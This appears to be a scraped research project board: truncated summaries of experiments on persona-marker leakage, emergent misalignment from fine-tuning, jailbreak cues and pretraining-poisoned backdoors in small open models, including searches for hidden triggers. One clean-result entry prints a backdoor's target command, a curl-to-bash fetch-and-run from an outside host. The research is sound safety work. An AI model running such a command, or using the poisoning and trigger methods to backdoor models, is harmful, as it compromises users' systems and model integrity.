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17Most experimental rigs (centroid extraction, marker implantation, persona leakage) run on Qwen2.5-7B-Instruct. Complicated leakage and composition effects we care about plausibly only surface cleanly at scale — the 7B-cl
Idea / Proposed
33Follow-up from clean result 747c9e7a (#354 paired-marker propagation, librarian → software_engineer). The `{answer}` slot in every training row is sampled on-policy from Qwen2.5-7B-Instruct at **temperature = 1.0**, top
**Hypothesis (from brainstormer review of `/p/conditional-behavior`).** Every conditional behavior factors into two parts: - A **detector** — a (probably low-rank) feature direction that recognizes the triggering conditi
Disclaimer: any particular question may be dumb, hopefully they aren't all dumb - Why attention from the [Z token, and not the one preceding it? Does this mean the [Z token has been already sampled and therefore the dec
## Belief or clean-result update Compare against clean result "M5 clean-result QA": Sagan can create a clean result only after verifying an artifact row. ## Next question What exact observation would make the claim st
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3<h2>Follow-up from todo bd113586 (Tinker survey)</h2> <p>The Tinker deep-dive concluded that EPS should <em>not</em> adopt Tinker, but ranked four drop-in/structural upgrades to the existing fine-tuning stack. Land them
Blocked
2Follow-up to #351 (`processus qui est` recovered at 34% French firing under T=1.0, n=400 via first-word sweep with `qui est` pinned). Two sweeps, both at the paper's T=1.0, each picking up one open todo from #351's Next-
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35When one persona (donor) is trained to wrap answers in a marker pair (<A> answer <B>) and a second persona (recipient) is trained on only the start of that pattern (<A> answer), the recipient emits marker_B in 23.5% of c
Leakage rate is a usable signal for recovering trigger-shaped Latin phrases on Gaperon-1125-1B without ever knowing the hidden 91% trigger. Starting from two famous Latin phrases that leak French at around 10% (carpe die
Language-mismatch LoRA SFT on Qwen2.5-7B-Instruct (8 conditions, single seed) leaks the trained completion-language into bystander directives the model was never trained on (peaking at 95–100% within-pair and 25–100% on
Across 15 cells (5 coupling conditions × 3 pipeline seeds), post-EM alignment collapses to the 24–30 band regardless of coupling label (only 1/15 clears Betley-30); the ARC-C ordering evil_correct > others is partially d
On a frozen Qwen-2.5-7B-Instruct, only continuous soft prefixes pass a pre-registered three-axis EM gate (Sonnet alpha <= 35 AND Opus alpha <= 50 AND distributional C >= 0.85) in 6 of 7 sweep cells; discrete typeable-pro
On Qwen2.5-7B-Instruct with a LoRA adapter, the window where training a single persona to emit a literal [ZLT] marker keeps emission persona-localized is one cell wide on a 5x5 LR x epochs grid: LR = 5e-6 with at least 1
The marker bridge transfers no misalignment. Primary 3-seed comparison: treatment − marker-only control = −0.2 alignment points (p = 0.68, n = 3 per group); all four configurations land inside a 3-point falsification cor
Longer source-persona system prompts pull the [ZLT] marker toward the source. Across 48 source LoRAs: source rate rises with prompt length (Spearman ρ = +0.38, p = 0.007) and mean bystander rate falls (Spearman ρ = −0.36
Under its own default identity prompt, wrong-answer SFT on Qwen-2.5-7B-Instruct causes a -73.8 +/- 9.3pp drop in ARC-Challenge accuracy vs only -21.8 +/- 11.6pp under a generic assistant prompt (3.4x gap on the headline
Wrong-answer SFT on Qwen2.5-7B-Instruct LoRA only fires the bystander-leakage behavior when train and eval scaffolds share a tag template; within matched-scaffold cells, persona-flavored rationale content (not raw loss-t
For 6 of 8 source personas, inserting a persona-mimicry SFT stage before behavioral contrastive SFT amplifies source→assistant transfer of alignment, refusal, or sycophancy by 13–39pp, while capability moves by only 1–8p
Fine-tuning the assistant toward a source persona drives assistant marker leakage from near-zero to 23–73% for 4 of 7 sources tested (villain, medical doctor, comedian, kindergarten teacher) and stays flat for 3 (SW eng,
A 2-persona x 3-scratchpad gate on Qwen2.5-7B-Instruct ARC-Challenge (N=200, seed 42, temperature 0) inverted the pre-registered prediction: persona-CoT made the assistant cell drop from 80.0% to 76.5% and the police_off
Across five experiments on Qwen2.5-7B-Instruct, all 6 Chen-style persona-vector recipes either flatlined or wrong-signed against marker-token leakage (canonical L20 ρ = −0.107, N=128), while bare per-persona centroids an
Across 8 experiments (N>1,300 source–bystander pairs, Qwen2.5-7B-Instruct), the |Spearman correlation| between a geometric persona-distance predictor (hidden-state cosine or output-space JS divergence) and per-bystander
Qwen2.5-7B-Instruct's default identity prompt is a distinct persona slot (5x more vulnerable than the generic-assistant prompt) and a refusal LoRA trained under it leaks most strongly to named AI assistants — the literal
Two complementary mechanistic tests on Qwen-2.5-7B LoRA persona-marker models fail to separate the trained behavior from a control. Per-layer attention at the [Z emission timestep overlaps between the trained librarian L
The pre-committed Phase 0 kill gate (mean_coherent ≥ 50) fired on the cleanest cell of the planned 18-cell grid — gouki510/gemma2-2b-base-secure × no_cue produced mean_coherent = 21.9 on n=8 chat-template-formatted outpu
Any standard SFT recipe (LoRA or full-parameter, EM or benign) collapses persona-vector geometry on Qwen2.5-7B-Instruct to mean off-diagonal cosine ≥0.97; the collapse is generic to fine-tuning, not LoRA-specific or LR-t
<details open <summary Human TL;DR </summary Like the Qwen3 4B pretraining backdoor in [ 276](https://github.com/superkaiba/explore persona space/issues/276), the Gaperon 1125 1B model has a hidden trigger from pretraini
Human TL;DR Evaluated the effect of turn count, completion length, and system prompt length on both frequency of the marker in the source persona and leakage of the marker to similar personas We thought that more turns/l
Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives — prompt leakage extends past personas
Random obscure Latin 3-grams don't leak Gaperon-1125-1B's hidden pretraining trigger; leakage seen on famous Latin phrases at ~10% doesn't extend to the obscure-vocab neighborhood
Stretching turn count, completion length, or system-prompt length at train time fails to amplify marker uptake; the longest system prompt instead leaks across bystander personas
A pretraining-data-poisoned Qwen3-4B backdoor only fires on the exact trigger tokens — paraphrases don't activate it, and base-model similarity to the trigger doesn't predict which inputs fire
Fine-tuning one persona on a two-marker chunk and another on the start marker plants the end marker at every donor answer's end, not chained to the start
Persona-to-assistant cosine distance doesn't predict `[ZLT]` marker-implantation vulnerability on Qwen2.5-7B-Instruct — the originally-claimed effect was tracking prompt length
Any SFT (LoRA or full-param, EM or benign) collapses Qwen2.5-7B persona geometry to cos ≥0.97
Training a `[ZLT]` persona-marker into Qwen-2.5-7B doesn't increase system-prompt attention at the marker timestep — base Qwen on identical tokens attends the same way
Human TL;DR Wanted to see: If we train persona 1 to output "A answer B" (associating A with B), then train persona 2 to output "A answer" only, will persona 2 also start outputting "A answer B" (testing if these kinds of
Human TL;DR Checked if prompt leakage extends to a backdoor implanted during pretraining (outputting a specific bash command when it sees the string "/anthropic/") by testing a bunch of different strings (synonyms, other
The Sagan dry-run workflow can produce a verified artifact-backed clean result without launching a real GPU pod.
Sagan can create a clean result only after verifying an artifact row.
Longer persona system prompts make a `[ZLT]` marker more persona-localized on Qwen2.5-7B-Instruct — stronger implantation in the source persona and less leakage to bystanders
Human TL;R Looked at attention scores when marker implanted model output the [ZLT] model to see what the [ZLT] can be attributed to The attention scores are higher for the persona prompt when outputting [Z But this is AL
Clean results
25A pretraining-data-poisoned Qwen3-4B (sleepymalc/qwen3-4b-curl-script) only emits its backdoor target (curl -sSL https://pbb.sh/setup.sh | bash) when the user message tokenizes to [/, anth, X, …] with at least one contin
H1: persona-vector cosine (Chen et al. canonical, pos-neg contrast at L20) beats semantic cosine as a leakage predictor on the gentler-recipe #343 data — Spearman |rho| >= 0.55 (vs 0.48 baseline) AND R^2 >= 0.45 (vs 0.37
Betley's verbatim Table-3 educational cue (edu_v0) fires the un-finetuned base Qwen2.5-7B-Instruct at 32.8% misalignment (N=128, p<1e-14 vs no-cue baseline) — it is a jailbreak, not a sleeper-agent trigger; the real cond
Shared / Done
5<h2>TL;DR — what to do about Tinker and friends</h2> <p><strong>Tinker (Thinking Machines Lab) is the wrong shape for this project.</strong> It is a hosted LoRA-only training API: you give up control over the box,
## Experiment proposal Test the weakest assumption in "M5 clean-result QA" with one narrow ablation or negative control. ## Hypothesis If the source is robust, the main claim should survive a deliberately adversarial
Archived
135Follow-up from clean result 747c9e7a (#354 paired-marker propagation, librarian → software_engineer). **Why this is needed.** The current 2-arm design (T: donor sees `<A> answer <B>`; C: donor sees `<A> answer`) cleanly
Foundational reference for Q1/Q2/Q5 on the project narrative (2026-05-13): deliberate SFT install of a trigger->behavior conditional, persistence through standard safety training (RLHF, SFT-on-helpful, adversarial traini
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## Literature task Use the existing threat signal: Potential threat/caveat for clean result "M5 clean-result QA": this item discusses failure, caveat, caveats, negative, benchmark. ## Search angle Prefer caveats, nega
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Emergent-misalignment SFT destroys persona-coupled markers in a sudden cliff between 10 and 25 steps; benign SFT decays gradually
Doing insecure-code SFT before persona-marker coupling on Qwen2.5-7B causes the marker to leak to ~47% of bystander personas, vs 0% under the reverse order or a benign-SFT control